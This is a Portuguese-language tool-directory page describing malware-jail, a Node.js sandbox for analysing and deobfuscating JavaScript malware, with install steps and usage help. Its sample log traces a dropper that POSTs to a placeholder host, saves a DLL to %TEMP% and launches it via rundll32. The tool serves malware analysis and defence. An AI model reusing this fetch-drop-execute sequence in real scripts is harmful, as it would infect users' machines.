Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
malware-jail — Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js | Kitploit
Ferramentas/GitHubGitHub/hynekpetrak/malware-jail
Análise Dinâmica (Sandboxing)Análise de Malware
GitHubhynekpetrak/malware-jail

malware-jail

Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js

Ver Repositório
4789811há 3 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

malware-jail

Sandbox para análise semi-automática de malware JavaScript, desofuscação e extração de payload. Escrito para Node.js

malware-jail é escrito para a sandbox 'vm' do Node. Atualmente implementa o contexto WScript (Windows Scripting Host) env/wscript.js, pelo menos a parte frequentemente usada por malware. O contexto de navegador de Internet está parcialmente implementado env/browser.js.

Funciona em qualquer sistema operacional. Desenvolvido e testado no Linux, Node.js v6.6.0.

Devido ao uso de alguns recursos ES6, você precisará do Node.js >= 6.x.

Veja EXEMPLOS para amostras de malware analisadas.

Se você tem novas amostras de malware, por favor submeta-as para javascript-malware-collection, seja por issue ou pull request.

Novos recursos

Versão 0.19

Enumera consultas WMI em um arquivo: wmis.json

Versão 0.17

Adicionado novo parâmetro:

--t404 - requisições http sempre retornam HTTP/404 e lançam uma exceção. Isso permite enumerar todas as URLs remotas.

Versão 0.16

As URLs agora são salvas em urls.json. Veja o mais recente EXEMPLOS#malware-issue-14.

Várias correções de bugs e melhorias.

Versão 0.14

Várias correções de bugs e melhorias.

Versão 0.13

Adicionados novos parâmetros:

-t msecs - limita o tempo de execução em "msecs" milissegundos, por padrão 60 segundos.
--h404 - requisições http sempre retornam HTTP/404 e não lançam exceção. Isso permite enumerar todas as URLs remotas.

Instalação

Você precisará ter Node.js e npm instalados.

malware-jail é construído sobre minimist, iconv-lite e entities.

Baixar do GitHub

Baixe o código-fonte com git:

git clone https://github.com/HynekPetrak/malware-jail.git
cd malware-jail

Em seguida, instale todas as dependências (minimist, entities, iconv-lite) com:

npm install

Pacote NPM

Ainda não disponível, em breve ...

Aviso

Tenha cuidado ao trabalhar com malware real. Um malware que tem conhecimento desta sandbox pode tentar escapar e prejudicar seu PC. Recomenda-se executá-lo a partir de uma conta Linux não privilegiada ou dentro de uma máquina Windows virtualizada. Os arquivos Angler na pasta malware NÃO estão desarmados.

Uso

bash@linux# node jailme.js -h -b list
7 May 20:54:52 - malware-jail, uma sandbox de malware ver. 0.19
7 May 20:54:52 - ------------------------
7 May 20:54:52 - Usage: node jailme.js  [[-e file1] [-e file2] .. ] [-c ./config.json] \
7 May 20:54:52 -                [-o ofile] [-b id] \
7 May 20:54:52 -                [-s odir] [--down] [malware1 [malware2] .. ]
7 May 20:54:52 -        -c config .. use arquivo de configuração alternativo, preceda com ./
7 May 20:54:52 -        -e ifile ... js que simula ambiente específico
7 May 20:54:52 -        -o ofile ... nome do arquivo onde a sandbox será despejada no final
7 May 20:54:52 -        -s odir  ... diretório de saída para arquivos gerados (payload do malware)
7 May 20:54:52 -        -b id    ... tipo de navegador, use -b list para valores possíveis
7 May 20:54:52 -        -t msecs ... número de milissegundos antes de encerrar a execução, padrão 1 minuto
7 May 20:54:52 -        --trace  ... imprime stack trace a cada linha de log
7 May 20:54:52 -        --down   ... permite baixar payloads de malware de servidores remotos
7 May 20:54:52 -        --h404   ... no download, sempre retorna HTTP/404
7 May 20:54:52 -        malware  ... js com o código do malware
7 May 20:54:52 - Se nenhum argumento for especificado, os valores padrão são retirados de config.json
7 May 20:54:52 - Possíveis valores -b: [ 'IE11_W10', 'IE8', 'IE7', 'iPhone', 'Firefox', 'Chrome' ]

Na pasta exemplos você pode encontrar um arquivo de malware desativado. Execute a análise com:

node jailme.js -c ./config_wscript_only.json --down=y malware/example.js

Malware baseado em navegador de Internet você pode testar com

node jailme.js -b IE11_W10 malware/example_browser.js

Ao final da análise, o contexto completo da sandbox é despejado em um arquivo 'sandbox_dump_after.json'.

Você pode querer examinar as seguintes entradas de 'sandbox_dump_after.json':

  • eval_calls - array de todos os argumentos das chamadas eval(). Útil se eval() é usado para desofuscação.
  • wscript_saved_files - conteúdo de todos os arquivos que o malware tentou soltar. Os arquivos reais também são salvos no diretório output/.
  • wscript_urls - todas as URLs que o malware pretendia fazer GET ou POST.
  • wscript_objects - objetos WScript ou ActiveX criados.

'sandbox_dump_after.json' usa JSONPath, implementado por JSON-js/cycle.js, para salvar referências duplicadas ou cíclicas para um mesmo objeto.

Exemplo de saída

bash@linux# node jailme.js malware/example.js
11 Jan 00:06:24 - Malware sandbox ver. 0.2
11 Jan 00:06:24 - ------------------------
11 Jan 00:06:24 - Sandbox environment sequence: env/eval.js,env/wscript.js
11 Jan 00:06:24 - Malware files: malware/example.js
11 Jan 00:06:24 - Output file for sandbox dump: sandbox_dump_after.json
11 Jan 00:06:24 - Output directory for generated files: output/
11 Jan 00:06:24 - ==> Preparando ambiente da Sandbox.
11 Jan 00:06:24 -  => Executando: env/eval.js
11 Jan 00:06:24 - Preparando sandbox para interceptar chamadas eval().
11 Jan 00:06:24 -  => Executando: env/wscript.js
11 Jan 00:06:24 - Preparando sandbox para emular ambiente WScript.
11 Jan 00:06:24 - ==> Executando arquivo(s) de malware.
11 Jan 00:06:24 -  => Executando: malware/example.js
11 Jan 00:06:24 - ActiveXObject(WScript.Shell)
11 Jan 00:06:24 - Criado: WScript.Shell[1]
11 Jan 00:06:24 - WScript.Shell[1].ExpandEnvironmentStrings(%TEMP%)
11 Jan 00:06:24 - ActiveXObject(MSXML2.XMLHTTP)
11 Jan 00:06:24 - Criado: MSXML2.XMLHTTP[2]
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].open(POST,http://EXAMPLE.COM/redir.php,false)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].setRequestHeader(Content-Type, application/x-www-form-urlencoded)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2].send(iTlOlnxhMXnM=0.588860877091065&jndj=IT0601)
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Não enviando dados, se quiser interagir com servidor remoto, defina --down=y
11 Jan 00:06:24 - MSXML2.XMLHTTP[2] Chamando onreadystatechange() com dados fictícios
11 Jan 00:06:24 - ActiveXObject(ADODB.Stream)
11 Jan 00:06:24 - Criado: ADODB_Stream[3]
11 Jan 00:06:24 - ADODB_Stream[3].Open()
11 Jan 00:06:24 - ADODB_Stream[3].Write(str) - 10001 bytes
11 Jan 00:06:24 - ADODB_Stream[3].SaveToFile(%TEMP%\57020551.dll, 2)
11 Jan 00:06:24 - WScript.Shell[1].Exec(rundll32 %TEMP%\57020551.dll, DllRegisterServer)
11 Jan 00:06:24 - ADODB_Stream[3].Close()
11 Jan 00:08:42 - ==> Execução do script finalizada, despejando ambiente da sandbox em um arquivo.
11 Jan 00:08:42 - Salvando: output/_TEMP__49629482.dll
11 Jan 00:08:42 - Salvando: output/_TEMP__38611354.pdf
11 Jan 00:08:42 - Arquivo gerado salvo
11 Jan 00:08:42 - Arquivo gerado salvo
11 Jan 00:08:42 - O contexto da sandbox foi salvo em: sandbox_dump_after.json
Baixar ferramenta